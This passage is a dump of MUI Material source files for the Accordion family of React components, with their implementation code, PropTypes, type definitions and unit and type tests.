slots,\n    slotProps,\n  };\n\n  const [RootSlot, rootProps] = useSlot('root', {\n    elementType: AccordionRoot,\n    externalForwardedProps: {\n      ...externalForwardedProps,\n      ...other,\n    },\n    className: clsx(classes.root, className),\n    shouldForwardComponentProp: true,\n    ownerState,\n    ref,\n  });\n\n  const [AccordionHeadingSlot, accordionProps] = useSlot('heading', {\n    elementType: AccordionHeading,\n    externalForwardedProps,\n    className: classes.heading,\n    ownerState,\n  });\n\n  const [TransitionSlot, transitionProps] = useSlot('transition', {\n    elementType: Collapse,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  const [AccordionRegionSlot, accordionRegionProps] = useSlot('region', {\n    elementType: AccordionRegion,\n    externalForwardedProps,\n    ownerState,\n    className: classes.region,\n    additionalProps: {\n      'aria-labelledby': summary.props.id,\n      id: summary.props['aria-controls'],\n      role: 'region',\n    },\n  });\n\n  return (\n    <RootSlot {...rootProps}>\n      <AccordionHeadingSlot {...accordionProps}>\n        <AccordionContext.Provider value={contextValue}>{summary}</AccordionContext.Provider>\n      </AccordionHeadingSlot>\n      <TransitionSlot in={expanded} timeout=\"auto\" {...transitionProps}>\n        <AccordionRegionSlot {...accordionRegionProps}>{children}</AccordionRegionSlot>\n      </TransitionSlot>\n    </RootSlot>\n  );\n});\n\nAccordion.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: chainPropTypes(PropTypes.node.isRequired, (props) => {\n    const summary = React.Children.toArray(props.children)[0];\n    if (isFragment(summary)) {\n      return new Error(\n        \"MUI: The Accordion doesn't accept a Fragment as a child. \" +\n          'Consider providing an array instead.',\n      );\n    }\n\n    if (!React.isValidElement(summary)) {\n      return new Error('MUI: Expected the first child of Accordion to be a valid element.');\n    }\n\n    return null;\n  }),\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * If `true`, expands the accordion by default.\n   * @default false\n   */\n  defaultExpanded: PropTypes.bool,\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled: PropTypes.bool,\n  /**\n   * If `true`, it removes the margin between two expanded accordion items and prevents the increased height when expanded.\n   * @default false\n   */\n  disableGutters: PropTypes.bool,\n  /**\n   * If `true`, expands the accordion, otherwise collapses it.\n   * Setting this prop enables control over the accordion.\n   */\n  expanded: PropTypes.bool,\n  /**\n   * Callback fired when the expand/collapse state is changed.\n   *\n   * @param {React.SyntheticEvent} event The event source of the callback. **Warning**: This is a generic event not a change event.\n   * @param {boolean} expanded The `expanded` state of the accordion.\n   */\n  onChange: PropTypes.func,\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    heading: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    region: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    transition: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    heading: PropTypes.elementType,\n    region: PropTypes.elementType,\n    root: PropTypes.elementType,\n    transition: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default Accordion;\n"
  },
  {
    "path": "packages/mui-material/src/Accordion/Accordion.spec.tsx",
    "content": "import * as React from 'react';\nimport { expectType } from '@mui/types';\nimport { mergeSlotProps } from '@mui/material/utils';\nimport Accordion, { AccordionProps } from '@mui/material/Accordion';\n\nfunction testOnChange() {\n  function handleAccordionChange(event: React.SyntheticEvent, tabsValue: unknown) {}\n  <Accordion onChange={handleAccordionChange}>\n    <div />\n  </Accordion>;\n\n  function handleElementChange(event: React.ChangeEvent) {}\n  <Accordion\n    // @ts-expect-error internally it's whatever even lead to a change in value\n    onChange={handleElementChange}\n  >\n    <div />\n  </Accordion>;\n}\n\nconst CustomComponent: React.FC<{ prop1: string; prop2: number }> = function CustomComponent() {\n  return <div />;\n};\n\nconst requiredProps = {\n  children: <div />,\n};\n\nconst AccordionComponentTest = () => {\n  return (\n    <div>\n      <Accordion {...requiredProps} />\n      <Accordion {...requiredProps} component=\"legend\" />\n      <Accordion\n        {...requiredProps}\n        component=\"a\"\n        href=\"test\"\n        onClick={(event) => {\n          expectType<React.MouseEvent<HTMLAnchorElement, MouseEvent>, typeof event>(event);\n        }}\n      />\n\n      {/* @ts-expect-error */}\n      <Accordion {...requiredProps} component=\"a\" incorrectAttribute=\"url\" />\n      {/* @ts-expect-error */}\n      <Accordion {...requiredProps} component=\"div\" href=\"url\" />\n      <Accordion {...requiredProps} component={CustomComponent} prop1=\"1\" prop2={12} />\n      {/* @ts-expect-error */}\n      <Accordion {...requiredProps} component={CustomComponent} prop1=\"1\" />\n      {/* @ts-expect-error */}\n      <Accordion {...requiredProps} component={CustomComponent} prop1=\"1\" prop2=\"12\" />\n    </div>\n  );\n};\n\n// slotProps type test. Changing heading level.\n<Accordion slotProps={{ heading: { component: 'h4' } }}>\n  <div />\n</Accordion>;\n\nfunction Custom(props: AccordionProps) {\n  const { slotProps, ...other } = props;\n  return (\n    <Accordion\n      slotProps={{\n        ...slotProps,\n        transition: (ownerState) => {\n          const transitionProps =\n            typeof slotProps?.transition === 'function'\n              ? slotProps.transition(ownerState)\n              : slotProps?.transition;\n          return {\n            ...transitionProps,\n            onExited: (node) => {\n              transitionProps?.onExited?.(node);\n            },\n          };\n        },\n      }}\n      {...other}\n    >\n      test\n    </Accordion>\n  );\n}\n\n// slotProps.transition should reject unknown props\n<Accordion\n  slotProps={{\n    // @ts-expect-error — unknown props should be rejected\n    transition: { randomInvalidProp: 'test' },\n  }}\n>\n  <div />\n</Accordion>;\n\nfunction Custom2(props: AccordionProps) {\n  const { slotProps, ...other } = props;\n  return (\n    <Accordion\n      slotProps={{\n        ...slotProps,\n        transition: mergeSlotProps(slotProps?.transition, {\n          onExited: (node) => {\n            expectType<HTMLElement, typeof node>(node);\n          },\n        }),\n      }}\n      {...other}\n    >\n      test\n    </Accordion>\n  );\n}\n"
  },
  {
    "path": "packages/mui-material/src/Accordion/Accordion.test.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { createRenderer, fireEvent, reactMajor, screen } from '@mui/internal-test-utils';\nimport Accordion, { accordionClasses as classes } from '@mui/material/Accordion';\nimport Paper from '@mui/material/Paper';\nimport Collapse from '@mui/material/Collapse';\nimport Fade from '@mui/material/Fade';\nimport Slide from '@mui/material/Slide';\nimport Grow from '@mui/material/Grow';\nimport Zoom from '@mui/material/Zoom';\nimport AccordionSummary from '@mui/material/AccordionSummary';\nimport describeConformance from '../../test/describeConformance';\n\nfunction NoTransition(props) {\n  const { children, in: inProp } = props;\n\n  if (!inProp) {\n    return null;\n  }\n  return children;\n}\n\nconst CustomPaper = React.forwardRef(({ square, ...props }, ref) => <Paper ref={ref} {...props} />);\n\ndescribe('<Accordion />', () => {\n  const { render } = createRenderer();\n\n  const minimalChildren = [<AccordionSummary key=\"header\">Header</AccordionSummary>];\n\n  describeConformance(<Accordion>{minimalChildren}</Accordion>, () => ({\n    classes,\n    inheritComponent: Paper,\n    render,\n    refInstanceof: window.HTMLDivElement,\n    muiName: 'MuiAccordion',\n    testVariantProps: { variant: 'rounded' },\n    slots: {\n      transition: {\n        testWithElement: null,\n      },\n      heading: {\n        testWithElement: 'h4',\n        expectedClassName: classes.heading,\n      },\n      root: {\n        expectedClassName: classes.root,\n        testWithElement: CustomPaper,\n      },\n      region: {\n        expectedClassName: classes.region,\n        testWithElement: 'div',\n      },\n    },\n  }));\n\n  it('should render and not be controlled', () => {\n    const { container } = render(<Accordion>{minimalChildren}</Accordion>);\n    expect(container.firstChild).not.to.have.class(classes.expanded);\n  });\n\n  it('should handle defaultExpanded prop', () => {\n    const { container } = render(<Accordion defaultExpanded>{minimalChildren}</Accordion>);\n    expect(container.firstChild).to.have.class(classes.expanded);\n  });\n\n  it('should render the summary and collapse elements', () => {\n    render(\n      <Accordion>\n        <AccordionSummary>Summary</AccordionSummary>\n        <div id=\"panel-content\">Hello</div>\n      </Accordion>,\n    );\n\n    expect(screen.getByText('Summary')).toBeVisible();\n    expect(screen.getByRole('button')).to.have.attribute('aria-expanded', 'false');\n  });\n\n  it('should be controlled', () => {\n    const { container, setProps } = render(\n      <Accordion expanded slots={{ transition: NoTransition }}>\n        {minimalChildren}\n      </Accordion>,\n    );\n    const panel = container.firstChild;\n    expect(panel).to.have.class(classes.expanded);\n    setProps({ expanded: false });\n    expect(panel).not.to.have.class(classes.expanded);\n  });\n\n  it('should call onChange when clicking the summary element', () => {\n    const handleChange = spy();\n\n    render(\n      <Accordion onChange={handleChange} slots={{ transition: NoTransition }}>\n        {minimalChildren}\n      </Accordion>,\n    );\n\n    fireEvent.click(screen.getByText('Header'));\n    expect(handleChange.callCount).to.equal(1);\n  });\n\n  it('when controlled should call the onChange', () => {\n    const handleChange = spy();\n\n    render(\n      <Accordion onChange={handleChange} expanded>\n        {minimalChildren}\n      </Accordion>,\n    );\n\n    fireEvent.click(screen.getByText('Header'));\n    expect(handleChange.callCount).to.equal(1);\n    expect(handleChange.args[0][1]).to.equal(false);\n  });\n\n  it('when undefined onChange and controlled should not call the onChange', () => {\n    const handleChange = spy();\n    const { setProps } = render(\n      <Accordion onChange={handleChange} expanded>\n        {minimalChildren}\n      </Accordion>,\n    );\n    setProps({ onChange: undefined });\n    fireEvent.click(screen.getByText('Header'));\n    expect(handleChange.callCount).to.equal(0);\n  });\n\n  it('when disabled should have the disabled class', () => {\n    const { container } = render(<Accordion disabled>{minimalChildren}</Accordion>);\n    expect(container.firstChild).to.have.class(classes.disabled);\n  });\n\n  it('should handle the slots.transition prop', () => {\n    function NoTransitionCollapse(props) {\n      return props.in ? <div>{props.children}</div> : null;\n    }\n    NoTransitionCollapse.propTypes = {\n      children: PropTypes.node,\n      in: PropTypes.bool,\n    };\n\n    function CustomContent() {\n      return <div>Hello</div>;\n    }\n    const { setProps } = render(\n      <Accordion expanded slots={{ transition: NoTransitionCollapse }}>\n        <AccordionSummary />\n        <CustomContent />\n      </Accordion>,\n    );\n\n    // Collapse is initially shown\n    expect(screen.getByText('Hello')).toBeVisible();\n\n    // Hide the collapse\n    setProps({ expanded: false });\n    expect(screen.queryByText('Hello')).to.equal(null);\n  });\n\n  it('should handle the `square` prop', () => {\n    const { container } = render(<Accordion square>{minimalChildren}</Accordion>);\n    expect(container.firstChild).not.toHaveComputedStyle({\n      borderBottomLeftRadius: '4px',\n      borderBottomRightRadius: '4px',\n      borderTopLeftRadius: '4px',\n      borderTopRightRadius: '4px',\n    });\n  });\n\n  it('when `square` prop is passed, it should not have the rounded class', () => {\n    const { container } = render(<Accordion square>{minimalChildren}</Accordion>);\n    expect(container.firstChild).not.to.have.class(classes.rounded);\n  });\n\n  describe('prop: children', () => {\n    describe.skipIf(reactMajor >= 19)('first child', () => {\n      beforeEach(() => {\n        PropTypes.resetWarningCache();\n      });\n\n      it('requires at least one child', () => {\n        expect(() => {\n          PropTypes.checkPropTypes(\n            Accordion.propTypes,\n            { classes: {}, children: [] },\n            'prop',\n            'MockedName',\n          );\n        }).toErrorDev(['MUI: Expected the first child']);\n      });\n\n      it('needs a valid element as the first child', () => {\n        expect(() => {\n          PropTypes.checkPropTypes(\n            Accordion.propTypes,\n            {\n              classes: {},\n              // eslint-disable-next-line react/jsx-no-useless-fragment\n              children: <React.Fragment />,\n            },\n            'prop',\n            'MockedName',\n          );\n        }).toErrorDev([\"MUI: The Accordion doesn't accept a Fragment\"]);\n      });\n    });\n\n    it('should accept empty content', () => {\n      render(\n        <Accordion>\n          <AccordionSummary />\n          {null}\n        </Accordion>,\n      );\n    });\n  });\n\n  it('should warn when switching from controlled to uncontrolled', () => {\n    const { setProps } = render(\n      <Accordion expanded slots={{ transition: NoTransition }}>\n        {minimalChildren}\n      </Accordion>,\n    );\n\n    expect(() => setProps({ expanded: undefined })).to.toErrorDev(\n      'MUI: A component is changing the controlled expanded state of Accordion to be uncontrolled.',\n    );\n  });\n\n  it('should warn when switching between uncontrolled to controlled', () => {\n    const { setProps } = render(\n      <Accordion slots={{ transition: NoTransition }}>{minimalChildren}</Accordion>,\n    );\n\n    expect(() => setProps({ expanded: true })).toErrorDev(\n      'MUI: A component is changing the uncontrolled expanded state of Accordion to be controlled.',\n    );\n  });\n\n  describe('slotProps.transition', () => {\n    it('should apply properties to the Transition component', () => {\n      render(\n        <Accordion slotProps={{ transition: { 'data-testid': 'transition-testid' } }}>\n          {minimalChildren}\n        </Accordion>,\n      );\n\n      expect(screen.getByTestId('transition-testid')).not.to.equal(null);\n    });\n  });\n\n  describe('details unmounting behavior', () => {\n    it('does not unmount by default', () => {\n      render(\n        <Accordion expanded={false}>\n          <AccordionSummary>Summary</AccordionSummary>\n          <div data-testid=\"details\">Details</div>\n        </Accordion>,\n      );\n\n      expect(screen.queryByTestId('details')).not.to.equal(null);\n    });\n\n    it('unmounts if opted in via slotProps.transition', () => {\n      render(\n        <Accordion expanded={false} slotProps={{ transition: { unmountOnExit: true } }}>\n          <AccordionSummary>Summary</AccordionSummary>\n          <div data-testid=\"details\">Details</div>\n        </Accordion>,\n      );\n\n      expect(screen.queryByTestId('details')).to.equal(null);\n    });\n  });\n\n  describe('should not forward ownerState prop to the underlying DOM element when using transition slot', () => {\n    const transitions = [\n      {\n        component: Collapse,\n        name: 'Collapse',\n      },\n      {\n        component: Fade,\n        name: 'Fade',\n      },\n      {\n        component: Grow,\n        name: 'Grow',\n      },\n      {\n        component: Slide,\n        name: 'Slide',\n      },\n      {\n        component: Zoom,\n        name: 'Zoom',\n      },\n    ];\n\n    transitions.forEach((transition) => {\n      it(`${transition.name}`, () => {\n        render(\n          <Accordion\n            defaultExpanded\n            slots={{\n              transition: transition.component,\n            }}\n            slotProps={{ transition: { timeout: 400 } }}\n          >\n            <AccordionSummary>Summary</AccordionSummary>\n            Details\n          </Accordion>,\n        );\n\n        expect(screen.getByRole('region')).not.to.have.attribute('ownerstate');\n      });\n    });\n  });\n\n  it('should allow custom role for region slot via slotProps', () => {\n    render(\n      <Accordion expanded slotProps={{ region: { role: 'list', 'data-testid': 'region-slot' } }}>\n        <AccordionSummary>Summary</AccordionSummary>\n        Details\n      </Accordion>,\n    );\n\n    expect(screen.getByTestId('region-slot')).to.have.attribute('role', 'list');\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Accordion/AccordionContext.js",
    "content": "'use client';\nimport * as React from 'react';\n\n/**\n * @ignore - internal component.\n * @type {React.Context<{} | {expanded: boolean, disabled: boolean, toggle: () => void}>}\n */\nconst AccordionContext = React.createContext({});\n\nif (process.env.NODE_ENV !== 'production') {\n  AccordionContext.displayName = 'AccordionContext';\n}\n\nexport default AccordionContext;\n"
  },
  {
    "path": "packages/mui-material/src/Accordion/accordionClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface AccordionClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the heading element. */\n  heading: string;\n  /** Styles applied to the root element unless `square={true}`. */\n  rounded: string;\n  /** State class applied to the root element if `expanded={true}`. */\n  expanded: string;\n  /** State class applied to the root element if `disabled={true}`. */\n  disabled: string;\n  /** Styles applied to the root element unless `disableGutters={true}`. */\n  gutters: string;\n  /** Styles applied to the region element, the container of the children. */\n  region: string;\n}\n\nexport type AccordionClassKey = keyof AccordionClasses;\n\nexport function getAccordionUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiAccordion', slot);\n}\n\nconst accordionClasses: AccordionClasses = generateUtilityClasses('MuiAccordion', [\n  'root',\n  'heading',\n  'rounded',\n  'expanded',\n  'disabled',\n  'gutters',\n  'region',\n]);\n\nexport default accordionClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Accordion/index.d.ts",
    "content": "export { default } from './Accordion';\nexport * from './Accordion';\n\nexport { default as accordionClasses } from './accordionClasses';\nexport * from './accordionClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Accordion/index.js",
    "content": "export { default } from './Accordion';\n\nexport { default as accordionClasses } from './accordionClasses';\nexport * from './accordionClasses';\n"
  },
  {
    "path": "packages/mui-material/src/AccordionActions/AccordionActions.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { AccordionActionsClasses } from './accordionActionsClasses';\n\nexport interface AccordionActionsProps extends StandardProps<React.HTMLAttributes<HTMLDivElement>> {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<AccordionActionsClasses> | undefined;\n  /**\n   * If `true`, the actions do not have additional margin.\n   * @default false\n   */\n  disableSpacing?: boolean | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\n/**\n *\n * Demos:\n *\n * - [Accordion](https://next.mui.com/material-ui/react-accordion/)\n *\n * API:\n *\n * - [AccordionActions API](https://next.mui.com/material-ui/api/accordion-actions/)\n */\nexport default function AccordionActions(props: AccordionActionsProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/AccordionActions/AccordionActions.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { getAccordionActionsUtilityClass } from './accordionActionsClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, disableSpacing } = ownerState;\n\n  const slots = {\n    root: ['root', !disableSpacing && 'spacing'],\n  };\n\n  return composeClasses(slots, getAccordionActionsUtilityClass, classes);\n};\n\nconst AccordionActionsRoot = styled('div', {\n  name: 'MuiAccordionActions',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.root, !ownerState.disableSpacing && styles.spacing];\n  },\n})({\n  display: 'flex',\n  alignItems: 'center',\n  padding: 8,\n  justifyContent: 'flex-end',\n  variants: [\n    {\n      props: (props) => !props.disableSpacing,\n      style: {\n        '& > :not(style) ~ :not(style)': {\n          marginLeft: 8,\n        },\n      },\n    },\n  ],\n});\n\nconst AccordionActions = React.forwardRef(function AccordionActions(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiAccordionActions' });\n  const { className, disableSpacing = false, ...other } = props;\n  const ownerState = { ...props, disableSpacing };\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <AccordionActionsRoot\n      className={clsx(classes.root, className)}\n      ref={ref}\n      ownerState={ownerState}\n      {...other}\n    />\n  );\n});\n\nAccordionActions.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * If `true`, the actions do not have additional margin.\n   * @default false\n   */\n  disableSpacing: PropTypes.bool,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default AccordionActions;\n"
  },
  {
    "path": "packages/mui-material/src/AccordionActions/AccordionActions.test.js",
    "content": "import { createRenderer, isJsdom } from '@mui/internal-test-utils';\nimport AccordionActions, {\n  accordionActionsClasses as classes,\n} from '@mui/material/AccordionActions';\nimport Button from '@mui/material/Button';\nimport { expect } from 'chai';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<AccordionActions />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<AccordionActions>Conformance</AccordionActions>, () => ({\n    classes,\n    inheritComponent: 'div',\n    render,\n    refInstanceof: window.HTMLDivElement,\n    muiName: 'MuiAccordionActions',\n    testVariantProps: { disableSpacing: true },\n    skip: ['componentProp'],\n  }));\n\n  it.skipIf(isJsdom())('should apply margin to all children but the first one', function test() {\n    const { container } = render(\n      <AccordionActions>\n        <Button data-testid=\"child-1\">Agree</Button>\n        <Button data-testid=\"child-2\" href=\"#\">\n          Agree\n        </Button>\n        <Button data-testid=\"child-3\" component=\"span\">\n          Agree\n        </Button>\n        <div data-testid=\"child-4\" />\n      </AccordionActions>,\n    );\n\n    const children = container.querySelectorAll('[data-testid^=\"child-\"]');\n    expect(children[0]).toHaveComputedStyle({ marginLeft: '0px' });\n    expect(children[1]).toHaveComputedStyle({ marginLeft: '8px' });\n    expect(children[2]).toHaveComputedStyle({ marginLeft: '8px' });\n    expect(children[3]).toHaveComputedStyle({ marginLeft: '8px' });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/AccordionActions/accordionActionsClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface AccordionActionsClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element unless `disableSpacing={true}`. */\n  spacing: string;\n}\n\nexport type AccordionActionsClassKey = keyof AccordionActionsClasses;\n\nexport function getAccordionActionsUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiAccordionActions', slot);\n}\n\nconst accordionActionsClasses: AccordionActionsClasses = generateUtilityClasses(\n  'MuiAccordionActions',\n  ['root', 'spacing'],\n);\n\nexport default accordionActionsClasses;\n"
  },
  {
    "path": "packages/mui-material/src/AccordionActions/index.d.ts",
    "content": "export { default } from './AccordionActions';\nexport * from './AccordionActions';\n\nexport { default as accordionActionsClasses } from './accordionActionsClasses';\nexport * from './accordionActionsClasses';\n"
  },
  {
    "path": "packages/mui-material/src/AccordionActions/index.js",
    "content": "export { default } from './AccordionActions';\n\nexport { default as accordionActionsClasses } from './accordionActionsClasses';\nexport * from './accordionActionsClasses';\n"
  },
  {
    "path": "packages/mui-material/src/AccordionDetails/AccordionDetails.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { AccordionDetailsClasses } from './accordionDetailsClasses';\n\nexport interface AccordionDetailsProps extends StandardProps<React.HTMLAttributes<HTMLDivElement>> {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<AccordionDetailsClasses> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\n/**\n *\n * Demos:\n *\n * - [Accordion](https://next.mui.com/material-ui/react-accordion/)\n *\n * API:\n *\n * - [AccordionDetails API](https://next.mui.com/material-ui/api/accordion-details/)\n */\nexport default function AccordionDetails(props: AccordionDetailsProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/AccordionDetails/AccordionDetails.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { getAccordionDetailsUtilityClass } from './accordionDetailsClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes } = ownerState;\n\n  const slots = {\n    root: ['root'],\n  };\n\n  return composeClasses(slots, getAccordionDetailsUtilityClass, classes);\n};\n\nconst AccordionDetailsRoot = styled('div', {\n  name: 'MuiAccordionDetails',\n  slot: 'Root',\n})(\n  memoTheme(({ theme }) => ({\n    padding: theme.spacing(1, 2, 2),\n  })),\n);\n\nconst AccordionDetails = React.forwardRef(function AccordionDetails(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiAccordionDetails' });\n  const { className, ...other } = props;\n  const ownerState = props;\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <AccordionDetailsRoot\n      className={clsx(classes.root, className)}\n      ref={ref}\n      ownerState={ownerState}\n      {...other}\n    />\n  );\n});\n\nAccordionDetails.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default AccordionDetails;\n"
  },
  {
    "path": "packages/mui-material/src/AccordionDetails/AccordionDetails.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport AccordionDetails, {\n  accordionDetailsClasses as classes,\n} from '@mui/material/AccordionDetails';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<AccordionDetails />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<AccordionDetails>Conformance</AccordionDetails>, () => ({\n    classes,\n    inheritComponent: 'div',\n    render,\n    refInstanceof: window.HTMLDivElement,\n    muiName: 'MuiAccordionDetails',\n    skip: ['componentProp', 'themeVariants'],\n  }));\n\n  it('should render a children element', () => {\n    render(\n      <AccordionDetails>\n        <div data-testid=\"test-children\" />\n      </AccordionDetails>,\n    );\n\n    expect(screen.queryByTestId('test-children')).not.to.equal(null);\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/AccordionDetails/accordionDetailsClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface AccordionDetailsClasses {\n  /** Styles applied to the root element. */\n  root: string;\n}\n\nexport type AccordionDetailsClassKey = keyof AccordionDetailsClasses;\n\nexport function getAccordionDetailsUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiAccordionDetails', slot);\n}\n\nconst accordionDetailsClasses: AccordionDetailsClasses = generateUtilityClasses(\n  'MuiAccordionDetails',\n  ['root'],\n);\n\nexport default accordionDetailsClasses;\n"
  },
  {
    "path": "packages/mui-material/src/AccordionDetails/index.d.ts",
    "content": "export { default } from './AccordionDetails';\nexport * from './AccordionDetails';\n\nexport { default as accordionDetailsClasses } from './accordionDetailsClasses';\nexport * from './accordionDetailsClasses';\n"
  },
  {
    "path": "packages/mui-material/src/AccordionDetails/index.js",
    "content": "export { default } from './AccordionDetails';\n\nexport { default as accordionDetailsClasses } from './accordionDetailsClasses';\nexport * from './accordionDetailsClasses';\n"
  },
  {
    "path": "packages/mui-material/src/AccordionSummary/AccordionSummary.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { ButtonBaseProps, ExtendButtonBase, ExtendButtonBaseTypeMap } from '../ButtonBase';\nimport { OverrideProps } from '../OverridableComponent';\nimport { CreateSlotsAndSlotProps, SlotProps } from '../utils/types';\nimport { Theme } from '../styles';\nimport { AccordionSummaryClasses } from './accordionSummaryClasses';\n\nexport interface AccordionSummarySlots {\n  /**\n   * The component that renders the root slot.\n   * @default ButtonBase\n   */\n  root: React.ElementType;\n  /**\n   * The component that renders the content slot.\n   * @default div\n   */\n  content: React.ElementType;\n  /**\n   * The component that renders the expand icon wrapper slot.\n   * @default div\n   */\n  expandIconWrapper: React.ElementType;\n}\n\nexport interface AccordionSummaryRootSlotPropsOverrides {}\nexport interface AccordionSummaryContentSlotPropsOverrides {}\nexport interface AccordionSummaryExpandIconWrapperSlotPropsOverrides {}\n\nexport type AccordionSummarySlotsAndSlotProps = CreateSlotsAndSlotProps<\n  AccordionSummarySlots,\n  {\n    /**\n     * Props forwarded to the root slot.\n     * By default, the available props are based on the [ButtonBase](https://mui.com/material-ui/api/button-base/#props) component.\n     */\n    root: SlotProps<\n      React.ElementType<ButtonBaseProps>,\n      AccordionSummaryRootSlotPropsOverrides,\n      AccordionSummaryOwnerState\n    >;\n    /**\n     * Props forwarded to the content slot.\n     * By default, the available props are based on a div element.\n     */\n    content: SlotProps<\n      'div',\n      AccordionSummaryContentSlotPropsOverrides,\n      AccordionSummaryOwnerState\n    >;\n    /**\n     * Props forwarded to the expand icon wrapper slot.\n     * By default, the available props are based on a div element.\n     */\n    expandIconWrapper: SlotProps<\n      'div',\n      AccordionSummaryExpandIconWrapperSlotPropsOverrides,\n      AccordionSummaryOwnerState\n    >;\n  